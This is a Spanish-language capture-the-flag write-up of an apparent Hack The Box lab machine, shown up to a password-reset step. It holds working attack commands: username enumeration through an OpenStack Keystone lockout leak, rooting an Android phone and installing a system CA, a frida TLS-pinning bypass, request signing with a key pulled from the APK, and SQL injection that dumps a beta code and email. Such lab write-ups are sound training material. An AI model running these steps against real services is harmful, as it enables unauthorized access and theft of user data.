Conocimientos
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.199 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-11 15:50 GMT
Nmap scan report for 10.10.11.199
Host is up (0.065s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
4369/tcp open epmd
5000/tcp open upnp
5672/tcp open amqp
8080/tcp open http-proxy
25672/tcp open unknown
35357/tcp open openstack-id
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80,443,4369,5000,5672,8080,25672,35357 10.10.11.199 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-11 15:51 GMT
WARNING: Service 10.10.11.199:5000 had already soft-matched rtsp, but now soft-matched sip; ignoring second value
Nmap scan report for 10.10.11.199
Host is up (0.37s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 2048 f3:92:2d:fd:84:22:d7:8d:f6:b0:9e:78:8e:b9:3b:e7 (RSA)
| 256 01:e4:3e:c0:66:43:df:25:af:8a:71:b8:39:06:df:9f (ECDSA)
|_ 256 4f:ec:39:76:4e:71:94:71:be:fa:7f:fa:a6:a8:16:74 (ED25519)
80/tcp open http nginx 1.18.0
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-server-header: nginx/1.18.0
|_http-title: Pikaboo
443/tcp open ssl/http nginx 1.18.0
|_ssl-date: TLS randomness does not represent time
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: APISIX/2.10.1
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=api.pokatmon-app.htb/organizationName=Pokatmon Ltd/stateOrProvinceName=United Kingdom/countryName=UK
| Not valid before: 2021-12-29T20:33:08
|_Not valid after: 3021-05-01T20:33:08
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
|_ rabbit: 25672
5000/tcp open rtsp
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 NOT FOUND
| Content-Type: text/html; charset=utf-8
| Vary: X-Auth-Token
| x-openstack-request-id: req-ea5e8a92-990e-4d65-993f-160a29b2cba6
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.0 300 MULTIPLE CHOICES
| Content-Type: application/json
| Location: http://pikatwoo.pokatmon.htb:5000/v3/
| Vary: X-Auth-Token
| x-openstack-request-id: req-99d0d8e1-d49f-4433-8652-88b9f785d826
| {"versions": {"values": [{"id": "v3.14", "status": "stable", "updated": "2020-04-07T00:00:00Z", "links": [{"rel": "self", "href": "http://pikatwoo.pokatmon.htb:5000/v3/"}], "media-types": [{"base": "application/json", "type": "application/vnd.openstack.identity-v3+json"}]}]}}
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=utf-8
| Allow: OPTIONS, HEAD, GET
| Vary: X-Auth-Token
| x-openstack-request-id: req-7bcad5fe-96ee-49b9-9f86-d7bf191449f3
| RTSPRequest:
| RTSP/1.0 200 OK
| Content-Type: text/html; charset=utf-8
| Allow: OPTIONS, HEAD, GET
| Vary: X-Auth-Token
| x-openstack-request-id: req-b94d2452-1480-4602-bd14-3d52ed454dae
| SIPOptions:
|_ SIP/2.0 200 OK
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
5672/tcp open amqp RabbitMQ 3.8.9 (0-9)
| amqp-info:
| capabilities:
| publisher_confirms: YES
| exchange_exchange_bindings: YES
| basic.nack: YES
| consumer_cancel_notify: YES
| connection.blocked: YES
| consumer_priorities: YES
| authentication_failure_close: YES
| per_consumer_qos: YES
| direct_reply_to: YES
| cluster_name: rabbit@pikatwoo.pokatmon.htb
| copyright: Copyright (c) 2007-2020 VMware, Inc. or its affiliates.
| information: Licensed under the MPL 2.0. Website: https://rabbitmq.com
| platform: Erlang/OTP 23.2.6
| product: RabbitMQ
| version: 3.8.9
| mechanisms: AMQPLAIN PLAIN
|_ locales: en_US
8080/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
25672/tcp open unknown
35357/tcp open http nginx 1.18.0
| http-title: Site doesn't have a title (application/json).
|_Requested resource was http://10.10.11.199:35357/v3/
|_http-server-header: nginx/1.18.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94%I=7%D=9/11%Time=64FF3779%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1DC,"HTTP/1\.0\x20300\x20MULTIPLE\x20CHOICES\r\nContent-Type:\
SF:x20application/json\r\nLocation:\x20http://pikatwoo\.pokatmon\.htb:5000
SF:/v3/\r\nVary:\x20X-Auth-Token\r\nx-openstack-request-id:\x20req-99d0d8e
SF:1-d49f-4433-8652-88b9f785d826\r\n\r\n{\"versions\":\x20{\"values\":\x20
SF:\[{\"id\":\x20\"v3\.14\",\x20\"status\":\x20\"stable\",\x20\"updated\":
SF:\x20\"2020-04-07T00:00:00Z\",\x20\"links\":\x20\[{\"rel\":\x20\"self\",
SF:\x20\"href\":\x20\"http://pikatwoo\.pokatmon\.htb:5000/v3/\"}\],\x20\"m
SF:edia-types\":\x20\[{\"base\":\x20\"application/json\",\x20\"type\":\x20
SF:\"application/vnd\.openstack\.identity-v3\+json\"}\]}\]}}")%r(RTSPReque
SF:st,AC,"RTSP/1\.0\x20200\x20OK\r\nContent-Type:\x20text/html;\x20charset
SF:=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x20GET\r\nVary:\x20X-Auth-Token\r
SF:\nx-openstack-request-id:\x20req-b94d2452-1480-4602-bd14-3d52ed454dae\r
SF:\n\r\n")%r(HTTPOptions,AC,"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20t
SF:ext/html;\x20charset=utf-8\r\nAllow:\x20OPTIONS,\x20HEAD,\x20GET\r\nVar
SF:y:\x20X-Auth-Token\r\nx-openstack-request-id:\x20req-7bcad5fe-96ee-49b9
SF:-9f86-d7bf191449f3\r\n\r\n")%r(FourOhFourRequest,180,"HTTP/1\.0\x20404\
SF:x20NOT\x20FOUND\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nVary
SF::\x20X-Auth-Token\r\nx-openstack-request-id:\x20req-ea5e8a92-990e-4d65-
SF:993f-160a29b2cba6\r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x
SF:20HTML\x203\.2\x20Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1
SF:>Not\x20Found</h1>\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x
SF:20on\x20the\x20server\.\x20If\x20you\x20entered\x20the\x20URL\x20manual
SF:ly\x20please\x20check\x20your\x20spelling\x20and\x20try\x20again\.</p>\
SF:n")%r(SIPOptions,12,"SIP/2\.0\x20200\x20OK\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 154.01 seconds
Añado el dominio pokatmon-app.htb
y el subdominio api.pokatmon-app.htb
y el dominio pokatmon.htb
con el subdominio pikatwoo.pokatmon.htb
al /etc/hosts
Puerto 80,8000,443,35357 (HTTP, HTTPS)
La página principal se ve así:
Hago click en Docs
y me redirige a /login
, donde puedo ver un panel de inicio de sesión
Al introducir una ruta que no existe, devuelve un error
curl -s -X GET http://10.10.11.199/noexiste | jq
{
"success": "false",
"message": "Page not found",
"error": {
"statusCode": 404,
"message": "You reached a route that is not defined on this server"
}
}
Se está empleando Express
en NodeJS
Por el puerto 443, este error cambia
curl -s -k -X GET https://10.10.11.199/noexiste | jq
{
"error_msg": "404 Route Not Found"
}
Este está relaccionado con Apache APISIX
Aplico fuzzing para descubrir rutas por el puerto 8080
wfuzz -c -t 50 --hc=412 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.11.199:8080/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.199:8080/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000071: 200 0 L 109 W 1563 Ch "info"
000045226: 404 0 L 7 W 70 Ch "http://10.10.11.199:8080/"
000171479: 200 0 L 1 W 2 Ch "healthcheck"
Total time: 0
Processed Requests: 220546
Filtered Requests: 220543
Requests/sec.: 0
Solo encuentra la ruta /info
, y /healthcheck
que no muestra nada de interés. En las cabeceras de respuesta se puede ver que emplea OpenStack
curl -s -X GET http://10.10.11.199:8080/ -I
HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Mon, 11 Sep 2023 09:24:29 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 70
Connection: keep-alive
X-Trans-Id: tx0aa8d42088774c90a023c-0064fedccd
X-Openstack-Request-Id: tx0aa8d42088774c90a023c-0064fedccd
Es una plataforma Cloud, y en concreto el puerto 8080 se emplea como almacenamiento de datos
Tramito una petición por GET al puerto 5000
curl -s -X GET http://10.10.11.199:5000/ | jq
{
"versions": {
"values": [
{
"id": "v3.14",
"status": "stable",
"updated": "2020-04-07T00:00:00Z",
"links": [
{
"rel": "self",
"href": "http://10.10.11.199:5000/v3/"
}
],
"media-types": [
{
"base": "application/json",
"type": "application/vnd.openstack.identity-v3+json"
}
]
}
]
}
}
Corresponde a OpenStack Keystone
Busco vulnerabilidades que estén relacionadas con este servicio y encuentro un CVE que permite un Information Disclosure a través de una Denegación de Servicio
En las referencias se comparte un enlace a LaunchPad que explican como llevarlo a cabo
Siguiendo la guía, tramito una petición a /v3/auth/tokens/
curl -s -X POST http://10.10.11.199:5000/v3/auth/tokens -H "Content-Type: application/json" -d '{"auth":{"identity":{"methods":["password"],"password": {"user":{"name":"rubbx","domain":{"id":"default"},"password":"fake_password"}}}}}' | jq
{
"error": {
"code": 401,
"message": "The request you have made requires authentication.",
"title": "Unauthorized"
}
}
Como no se leakea nada, hago lo mismo en un bucle
echo; while true; do curl -s -X POST http://10.10.11.199:5000/v3/auth/tokens -H "Content-Type: application/json" -d '{"auth":{"identity":{"methods":["password"],"password": {"user":{"name":"admin","domain":{"id":"default"},"password":"fake_password"}}}}}'; sleep 0.3; done | grep user
{"error":{"code":401,"message":"The account is locked for user: 01b5b2fb7f1547f282dc1c62ff0087e1.","title":"Unauthorized"}}
Esto me ha devuelto un hash para el usuario admin
. Creo otro bucle para enumerar usuarios. En wfuzz
indico dos payloads, uno con el diccionario de usuarios y el otro un rango para introducirlo en la contraseña y así que por cada nombre se pruebe un número de veces
wfuzz -c -t 100 --hh=109 -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -z range,1-20 -d '{"auth":{"identity":{"methods":["password"],"password":{"user":{"name":"FUZZ","domain":{"id":"default"},"password":"fake_passwordFUZ2Z"}}}}}' -H "Content-type: application/json" http://10.10.11.199:5000/v3/auth/tokens
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.199:5000/v3/auth/tokens
Total requests: 203540
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001706: 401 1 L 7 W 124 Ch "admin - 6"
000001705: 401 1 L 7 W 124 Ch "admin - 5"
000001702: 401 1 L 7 W 124 Ch "admin - 2"
000001714: 401 1 L 7 W 124 Ch "admin - 14"
000001720: 401 1 L 7 W 124 Ch "admin - 20"
000001704: 401 1 L 7 W 124 Ch "admin - 4"
000001716: 401 1 L 7 W 124 Ch "admin - 16"
Se queda colgado, así que copio el archivos names.txt
a mi directorio actual, borro hasta la palabra admin
y sigo el mismo procedimiento
wfuzz -c --hh=109 -w $(pwd)/names.txt -z range,1-20 -d '{"auth":{"identity":{"methods":["password"],"password":{"user":{"name":"FUZZ","domain":{"id":"default"},"password":"fake_passwordFUZ2Z"}}}}}' -H "Content-type: application/json" http://10.10.11.199:5000/v3/auth/tokens
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.199:5000/v3/auth/tokens
Total requests: 201820
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000007708: 401 1 L 7 W 124 Ch "andrew - 8"
000007707: 401 1 L 7 W 124 Ch "andrew - 7"
000007706: 401 1 L 7 W 124 Ch "andrew - 6"
000007703: 401 1 L 7 W 124 Ch "andrew - 3"
000007705: 401 1 L 7 W 124 Ch "andrew - 5"
000007702: 401 1 L 7 W 124 Ch "andrew - 2"
000007701: 401 1 L 7 W 124 Ch "andrew - 1"
Obtengo al usuario andrew
. En la documentación de openstack
se puede ver una forma de autenticarse al servicio de storage, únicamente con el nombre de usuario
No tiene capacidad de Directory Listing
para ninguno de los dos usuarios
curl -s -X GET http://10.10.11.199:8080/v1/AUTH_admin/
<html><h1>Unauthorized</h1><p>This server could not verify that you are authorized to access the document you requested.</p></html>
curl -s -X GET http://10.10.11.199:8080/v1/AUTH_andrew/
<html><h1>Unauthorized</h1><p>This server could not verify that you are authorized to access the document you requested.</p></html>
Aplico fuzzing en cada una de ellas
wfuzz -c -t 200 --hh=131 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.11.199:8080/v1/AUTH_andrew/FUZZ
0********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.199:8080/v1/AUTH_andrew/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000041166: 504 7 L 11 W 167 Ch "22944"
000064254: 412 0 L 5 W 29 Ch "%C0"
000152461: 504 7 L 11 W 167 Ch "nwt_yes"
000173310: 200 1 L 1 W 17 Ch "android"
000192046: 504 7 L 11 W 167 Ch "677015"
Tramito una petición por GET a la ruta /android
curl -s -X GET http://10.10.11.199:8080/v1/AUTH_andrew/android
pokatmon-app.apk
Descargo este apk
wget http://10.10.11.199:8080/v1/AUTH_andrew/android/pokatmon-app.apk
--2023-09-11 18:25:41-- http://10.10.11.199:8080/v1/AUTH_andrew/android/pokatmon-app.apk
Connecting to 10.10.11.199:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 12462792 (12M) [application/vnd.android.package-archive]
Saving to: ‘pokatmon-app.apk’
pokatmon-app.apk 100%[===================================================================================================================>] 11.88M 536KB/s in 21s
2023-09-11 18:26:06 (584 KB/s) - ‘pokatmon-app.apk’ saved [12462792/12462792]
Descargo una ISO
de Android
para VmWare
desde esta web. Al arrancarla, no funciona de primeras. Es necesario retorcar una configuración presionando la tecla e
dos veces y sustituyendo quiet
por nomodeset xforcevesa
, posteriormente al enter para guardar y la tecla b
para arrancar
Desde los ajustes del Wifi
en la máquina, se puede ver la dirección IP que tiene asignada
Para que aparezcan las opciones de desarrollador, hago click varias veces en el número de compilación que se encuentra en About Tablet
. Habilito el ADB por interfaz inalámbrica
Me conecto con adb
adb connect 10.10.0.129
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 10.10.0.129:5555
Listo los dispositivos
adb devices
List of devices attached
10.10.0.129:5555 device
Instalo el APK
adb install pokatmon-app.apk
Performing Streamed Install
Success
Al abrirla se ve así:
Configuro un proxy a mi interfaz local de red por el puerto 8080
adb shell settings put global http_proxy 10.10.0.130:8080
Y me pongo en escucha desde el BurpSuite
Pero, por el momento no recibo nada. Desde WireShark
encuentro un nuevo dominio
Lo tengo que añadir al /etc/hosts
de la máquina Android, apuntando a mi equipo, pero por un problema de permisos no fue posible, debido al sistema de archivos que emplea la versión de Android para VMWare que estoy empleando, así que conecto un dispositivo físico
adb usb
restarting in USB mode
adb devices
List of devices attached
66bd68ad7d94 device
Utilizo Magisk para rootear el dispositivo. Para ello hay que desbloquear el bootloader
y con herramientas como adb
y fastboot
flashear el zip que se encuentra en los Releases. Como recovery emplée TWRP
adb reboot bootloader
fastboot boot twrp-3.3.1-0-rolex.img
Descargo el certificado de mi BurpSuite
para poder interceptar tráfico con este
curl localhost:8080/cert -o burp.der
Lo convierto a un formato apto para copiarlo al Android
openssl x509 -inform der -in burp.der -out burp.pem
Al examinarlo puedo ver caracteres en la primera línea. Este va a ser el nuevo nombre con la extensión .0
openssl x509 -inform pem -subject_hash_old -in burp.pem
9a5ba575
-----BEGIN CERTIFICATE-----
MIIDqDCCApCgAwIBAgIFALmwVGUwDQYJKoZIhvcNAQELBQAwgYoxFDASBgNVBAYT
C1BvcnRTd2lnZ2VyMRQwEgYDVQQIEwtQb3J0U3dpZ2dlcjEUMBIGA1UEBxMLUG9y
dFN3aWdnZXIxFDASBgNVBAoTC1BvcnRTd2lnZ2VyMRcwFQYDVQQLEw5Qb3J0U3dp
Z2dlciBDQTEXMBUGA1UEAxMOUG9ydFN3aWdnZXIgQ0EwHhcNMTQwMjEwMTUyNTI1
WhcNMzMwMjEwMTUyNTI1WjCBijEUMBIGA1UEBhMLUG9ydFN3aWdnZXIxFDASBgNV
BAgTC1BvcnRTd2lnZ2VyMRQwEgYDVQQHEwtQb3J0U3dpZ2dlcjEUMBIGA1UEChML
UG9ydFN3aWdnZXIxFzAVBgNVBAsTDlBvcnRTd2lnZ2VyIENBMRcwFQYDVQQDEw5Q
b3J0U3dpZ2dlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANzC
GWuSOmL//JIxvgtN8W3AbjFs+NlNebtzgSnDMWUjOoRXWH900l7I9KYWlli4P4PZ
ioa/S7RuN3Wq98RR4awnc/ro1S7erzFwe9tGe1ocDFNgx5WPwMAfBZAKA3PLOnxk
OUev+gcoDCKHDbO/r9w8uEdtJe2ling4nygpaOPr7knuRY8aAZ1SLzbLrsOOCIID
F/s+xcLZgojiNnsdGVkiCvHR/jmQbvGYg1dNV+ID+j5V4V+LfcS9y0+PgrPkHzVb
yfFWoBZMkknIHfQYz4Gnlcn1hQebQqd1h5AoBZAS1INV9oWrGovYS1yjEOOkHtaU
DRa7eA324bnMq68x+i8CAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG
9w0BAQsFAAOCAQEAu4Wo8WVJuYEoMtTOLedRc5nBzv61M9TofRIMDEfjT5EEabuc
7+czgvX/p2E8IU3t/B4YcDbkADvKEh48nL8+jIQh1Vo3kOJ+XgqJYTOZhz16uDiQ
f31dPnBL4tU824ha9xHZRX5F8S2lCEfEa/mLKKnf3AO0dyNeouCEbkwHriFUNsVB
W+4Vmnw5t109fHNscXAjx+wQzqupxrCFCDCKGsuE9jvRTTkGIG4wqlQ7PL12GHyS
hiUIqIhzWyceghWSXsG8oe3huHDgHaUznX28ZnACWt0Wb/UmGIinb48dgyUPPGCv
ZghcFZ9zRRja4o1yvfZBENH+brdZ0coW7FJbew==
-----END CERTIFICATE-----
Al spawnear una shell, por defecto estoy como usuarios con bajos privilegios
adb shell
rolex:/ $ whoami
shell
Pero al haber rooteado el dispositivo, puedo convertirme en ese usuario y remontar el sistema para tener capacidad de escritura
rolex:/ $ su
rolex:/ # whoami
root
rolex:/ # mount -o remount,rw /
Lo introduzco en la ruta /system/etc/security/cacerts
. Para indicar que quiero guardar y no tengo que introducir más datos, presiono Ctrl + D
rolex:/system/etc/security/cacerts # cat > 9a5ba575.0
-----BEGIN CERTIFICATE-----
MIIDqDCCApCgAwIBAgIFALmwVGUwDQYJKoZIhvcNAQELBQAwgYoxFDASBgNVBAYT
C1BvcnRTd2lnZ2VyMRQwEgYDVQQIEwtQb3J0U3dpZ2dlcjEUMBIGA1UEBxMLUG9y
dFN3aWdnZXIxFDASBgNVBAoTC1BvcnRTd2lnZ2VyMRcwFQYDVQQLEw5Qb3J0U3dp
Z2dlciBDQTEXMBUGA1UEAxMOUG9ydFN3aWdnZXIgQ0EwHhcNMTQwMjEwMTUyNTI1
WhcNMzMwMjEwMTUyNTI1WjCBijEUMBIGA1UEBhMLUG9ydFN3aWdnZXIxFDASBgNV
BAgTC1BvcnRTd2lnZ2VyMRQwEgYDVQQHEwtQb3J0U3dpZ2dlcjEUMBIGA1UEChML
UG9ydFN3aWdnZXIxFzAVBgNVBAsTDlBvcnRTd2lnZ2VyIENBMRcwFQYDVQQDEw5Q
b3J0U3dpZ2dlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANzC
GWuSOmL//JIxvgtN8W3AbjFs+NlNebtzgSnDMWUjOoRXWH900l7I9KYWlli4P4PZ
ioa/S7RuN3Wq98RR4awnc/ro1S7erzFwe9tGe1ocDFNgx5WPwMAfBZAKA3PLOnxk
OUev+gcoDCKHDbO/r9w8uEdtJe2ling4nygpaOPr7knuRY8aAZ1SLzbLrsOOCIID
F/s+xcLZgojiNnsdGVkiCvHR/jmQbvGYg1dNV+ID+j5V4V+LfcS9y0+PgrPkHzVb
yfFWoBZMkknIHfQYz4Gnlcn1hQebQqd1h5AoBZAS1INV9oWrGovYS1yjEOOkHtaU
DRa7eA324bnMq68x+i8CAwEAAaMTMBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG
9w0BAQsFAAOCAQEAu4Wo8WVJuYEoMtTOLedRc5nBzv61M9TofRIMDEfjT5EEabuc
7+czgvX/p2E8IU3t/B4YcDbkADvKEh48nL8+jIQh1Vo3kOJ+XgqJYTOZhz16uDiQ
f31dPnBL4tU824ha9xHZRX5F8S2lCEfEa/mLKKnf3AO0dyNeouCEbkwHriFUNsVB
W+4Vmnw5t109fHNscXAjx+wQzqupxrCFCDCKGsuE9jvRTTkGIG4wqlQ7PL12GHyS
hiUIqIhzWyceghWSXsG8oe3huHDgHaUznX28ZnACWt0Wb/UmGIinb48dgyUPPGCv
ZghcFZ9zRRja4o1yvfZBENH+brdZ0coW7FJbew==
-----END CERTIFICATE-----
Configuro un proxy por HTTP a mi equipo por la interfaz que está en Bridge
adb shell settings put global http_proxy 192.168.1.50:8080
Hay que tener en cuenta que se va a emplear un certificado SSL al no estar en una red NAT, por lo que todavía no voy a poder interceptar datos en bruto. Añado mi IP apuntando al dominio que vi antes de la API
rolex:/ # cat >> /etc/hosts
192.168.1.50 api.pokatmon-app.htb
Me quedo en escucha con netcat
y al darle a Join Beta
desde la app, intercepto la petición
nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.50] from (UNKNOWN) [192.168.1.28] 36756
%31aZ䲢z#`p$+/,0̨̩
/5
api.pokatmon-app.htb
3&$ 5jxa=l7CvUX# _g-+
Para deshabilitar el TLS (Que permite que el tráfico utilice SSL) empleo frida. Primero necesito saber la arquitectura del procesador
adb shell getprop ro.product.cpu.abi
arm64-v8a
En mi caso, para arm64
, descargo el servidor que tengo que ejecutar desde el Android
. En mi equipo, instalo el cliente con pipx install frida-tools
. Descomprimo el archivo que acabo de descargar y transfiero el binario a la máquina, asignándole permisos de ejecución
7z x frida-server-16.1.4-android-arm64.xz
adb push frida-server-16.1.4-android-arm64 /data/local/tmp/frida-server
rolex:/ # chmod 755 /data/local/tmp/frida-server
Después lo ejecuto
rolex:/ # /data/local/tmp/frida-server
Con el script disable-flutter-tls.js puedo conseguir desactivar el TLS, pero necesito el nombre de aplicación. Descomprimo el apk
con apktool
apktool d pokatmon-app.apk
El dato que necesito se encuentra en el archivo AndroidManifest.xml
cat pokatmon-app/AndroidManifest.xml | grep package
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="31" android:compileSdkVersionCodename="12" package="htb.pokatmon.pokatmon_app" platformBuildVersionCode="31" platformBuildVersionName="12">
Ejecuto frida y se reinicia la aplicación
frida -U -f htb.pokatmon.pokatmon_app -l disable-flutter-tls.js
____
/ _ | Frida 16.1.4 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/
. . . .
. . . . Connected to Redmi 4A (id=66bd68ad7d94)
Spawning `htb.pokatmon.pokatmon_app`...
[+] Java environment detected
Spawned `htb.pokatmon.pokatmon_app`. Resuming main thread!
[Redmi 4A::htb.pokatmon.pokatmon_app ]-> [+] libflutter.so loaded
[+] Flutter library found
[!] ssl_verify_peer_cert not found. Trying again...
[+] ssl_verify_peer_cert found at offset: 0x36f3e4
Con socat
, redirijo el tráfico de mi equipo a la máquina víctima
socat TCP-LISTEN:443,fork TCP:10.10.11.199:443
Introduzco de nuevo los datos de inicio de sesión y envío. El mensaje de error cambia a Invalid code
Configuro un proxy en BurpSuite
para hacer lo mismo que con socat
pero pudiendo interceptar y manipular la petición. Al tener que ponerme en escucha por el puerto 443, tengo que ejecutarlo como root
Indico la IP donde redirigir el tráfico
Finalmente, logro capturar la petición
POST /public/validate HTTP/1.1
user-agent: Dart/2.15 (dart:io)
content-type: application/x-www-form-urlencoded; charset=utf-8
Accept-Encoding: gzip, deflate
Content-Length: 58
authorization: signature=fQVUwT9xgVBKSldjchQd/xdxyf0R3Sl/TnbhFG1j+qdbcbV+gmgv9PAHRCXWXLYn8masiYiUUgEG1DQvmkIFAHge8Ui74y+59d80i/gfm1z1hYyIg5pFcbTR/Xvgu1VqdAOmkd27W061BElQRksaoS8d0Oah+4Onb2GAbkBknBbY/+gQGWY7icCTmh5DXX/q6QT3Z/dPG2ggcFoPHUBkjNiV22IclczKcOHAONlKTyXs+/sshEiCygsn8wlRHoPf/SNdV9VYnqUyiS4AsTCe39eGa/aZ1IH3lxRJXeeq7wow9nv7wUGQLEEpe0uXpm5cu/IlozEv4x6IZoW5z0hsTA==
host: api.pokatmon-app.htb
Connection: close
app_beta_mailaddr=test%40test.com&app_beta_code=1234567890
La envío al Repeater
para hacer pruebas. Si cambio cualquier valor por POST me da un error de firma
{"error":"invalid signature"}
La cabecera authorization
contiene data en base64 que no es legible. En total tiene 256 caracteres
echo fQVUwT9xgVBKSldjchQd/xdxyf0R3Sl/TnbhFG1j+qdbcbV+gmgv9PAHRCXWXLYn8masiYiUUgEG1DQvmkIFAHge8Ui74y+59d80i/gfm1z1hYyIg5pFcbTR/Xvgu1VqdAOmkd27W061BElQRksaoS8d0Oah+4Onb2GAbkBknBbY/+gQGWY7icCTmh5DXX/q6QT3Z/dPG2ggcFoPHUBkjNiV22IclczKcOHAONlKTyXs+/sshEiCygsn8wlRHoPf/SNdV9VYnqUyiS4AsTCe39eGa/aZ1IH3lxRJXeeq7wow9nv7wUGQLEEpe0uXpm5cu/IlozEv4x6IZoW5z0hsTA== | base64 -d | wc -c
256
En los archivos del APK se encuentra una clave pública y una clave privada
find . | grep pem
./burp.pem
./pokatmon-app/assets/flutter_assets/keys/private.pem
./pokatmon-app/assets/flutter_assets/keys/public.pem
Utilizo ChatGPT
para obtener la forma de firmar mi propio authorization
Ahora puedo modificar los datos y probar inyecciones. Introduzco una comilla en el correo para ver si se produce un error en la respuesta
openssl dgst -sha256 -sign pokatmon-app/assets/flutter_assets/keys/private.pem <( echo -n "app_beta_mailaddr=rubbx'&app_beta_code=1234567890") | base64 -w 0
DfprRvn7ISDpUPKQ5kQNezMMl2SVnNZNubD//P8WqLtZksb7IjECo4u3Q2TpDjdb8h7+HkHKO4BqwtOoMlXQue6yZWN9dWI2Qtv/XvoDxPxGDHQizp/EFQIRLdhjx6A3EYpHF5eee3fzRi0W6yLUa8vQw498FKFdXzzpLpciUayUljiEiu+s8eDSHaS7QKzUARvR04mRXIfDo3U2gohErUsusYyapYFGIoIn6j0vPFZQVYOwYNaR9J0ieILQZ1mRPectkHMaNNjQULSvy6KEwESWLpjTO3uSMau0cGgQjC/NOyzm2zNIiOYw0mwe5BcfWreB6DePzuHqRpx7Lcgt6g==
Es vulnerable a inyección SQL
HTTP/1.1 500 INTERNAL SERVER ERROR
Date: Mon, 18 Sep 2023 17:45:53 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 290
Connection: close
Server: APISIX/2.10.1
X-APISIX-Upstream-Status: 500
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
Con un rubbx' or 1=1-- -
obtengo un correo con su respectivo código
HTTP/1.1 200 OK
Date: Mon, 18 Sep 2023 17:47:22 GMT
Content-Type: application/json
Content-Length: 100
Connection: close
Server: APISIX/2.10.1
{"success":[{"code":"AX3YB-TH9L0-Z1HC5-22EYB-XHLK1-J3WJ67","email":"roger.foster37@freemail.htb"}]}
Vuelvo al Android
e intento iniciar sesión en la App. Me redirije a un subdominio nuevo
Lo añado al /etc/hosts
de mi máquina Linux. Lo más probable es que corresponda a la misma interfaz que hay desde la web. Como ya tengo un email
puedo tratar de resetear la contraseña como ya había visto en /forgot
Sin embargo, al interceptar el email no aparece en ningún sitio
GET /forgot? HTTP/1.1
Host: www.pokatmon-app.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.pokatmon-app.htb/forgot?
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
